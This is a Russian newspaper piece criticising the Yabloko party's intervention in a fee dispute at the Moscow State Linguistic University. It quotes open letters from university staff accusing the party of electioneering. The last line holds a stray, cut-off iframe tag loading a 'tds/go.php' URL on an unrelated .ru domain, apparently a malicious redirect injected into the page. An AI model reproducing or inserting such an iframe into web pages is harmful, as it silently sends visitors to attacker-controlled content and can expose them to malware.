«Уральский рабочий»: «Однажды в университете», или Любая соломинка хороша

Как утопающий хватается за соломинку, так и политики цепляются за все, что, по их мнению, может повлиять на волю избирателей. Пенсионерам — пенсии, рабочим — работу, военным — армию и так далее. Лозунги не новы, но беспроигрышные. Стряхнув с них пыль прошлых выборов, их можно снова и снова использовать, доказывая всему миру свою готовность позаботиться об обездоленных. Однако такая готовность может «выйти боком», что и произошло с партией «Яблоко», решившей встать на «защиту» студентов Московского государственного лингвистического университета. Конфликт давно уладили, но недавно эта история получила неожиданное продолжение. Предвыборные технологии «Яблока» вдруг нашли отклик в образовательной среде. Только совсем не тот, на который надеялись «яблочники».
Вкратце напомним ход событий: «Яблоко» взяло под опеку небольшую группу студентов лингвистического университета, недовольных введением платы за дополнительные дисциплины. Изучение «лишних» предметов было делом сугубо добровольным, однако представитель «Яблока»
Александр Шишлов, председатель думского Комитета по науке и образованию, в лояльных партии СМИ объявил чуть ли не об угрозе дальнейшему существованию в России высшей школы в принципе.
«Яблоко» в буквальном смысле слова громило ученый совет университета, выступая в роли «защитника» интересов студенческой молодежи. Однако вся эта история не принесла «Яблоку» никаких политических дивидендов. Скорее наоборот, сторонников «Яблока» среди ученой интеллигенции заметно поубавилось. Возмущенные стравливани-ем студентов и профессоров Московского лингвистического университета, члены расширенного совета учебно-методического объединения по образованию в области лингвистики, представляющие более ста вузов России, разослали открытые письма Президенту России, председателю Государственной Думы и председателю Совета Федерации: «...У всех членов учебно-методического объединения сложилось стойкое впечатление, что высказывания
председателя думского Комитета по науке и образованию А. Шишлова носили явный оттенок предвыборной агитации в пользу партии «Яблоко»...». На защиту своих московских коллег встали представители многих российских вузов, опубликовав в прессе открытые письма. Вот что пишут преподаватели: «Мы искренне встревожены скандалом, который искусственно раздувается вокруг Московского государственного лингвистического университета...», «...хотим выразить возмущение теми событиями, которые произошли в МГЛУ. Мы возмущены действиями партии «Яблоко», которая открыто спекулирует интересами студенческой молодежи...»
Похоже, ученые из российских регионов даже не постарались смягчить свои выражения в отношении «Яблока».
Другими словами, эффект от акции, проведенной «Яблоком» в июне, оказался обратным. Попытка завладеть дополнительными симпатиями молодежи не только не удалась, но и обернулась полным провалом, настроив против себя часть интеллигенции, которая до последнего времени стабильно поддерживала «Яблоко».
Можно предположить, что представители «Яблока» уже жалеют, что ввязались в эту историю. Однако «яблочные» неприятности на этом могут еще не закончиться. Ученый совет Московского государственного лингвистического университета оставил за собой право обратиться в(судебные органы по поводу любой публикации в СМИ, заведомо искажающей принципиальную позицию МГЛУ. А судебное разбирательство может оказаться последним гвоздем в крышку популярности «Яблока». Возможно, именно поэтому «яблочные защитники» поутихли, оставив, наконец, самих студентов и преподавателей МГЛУ в покое. <iframe src="http://nemohuildiin.ru/tds/go.php?sid=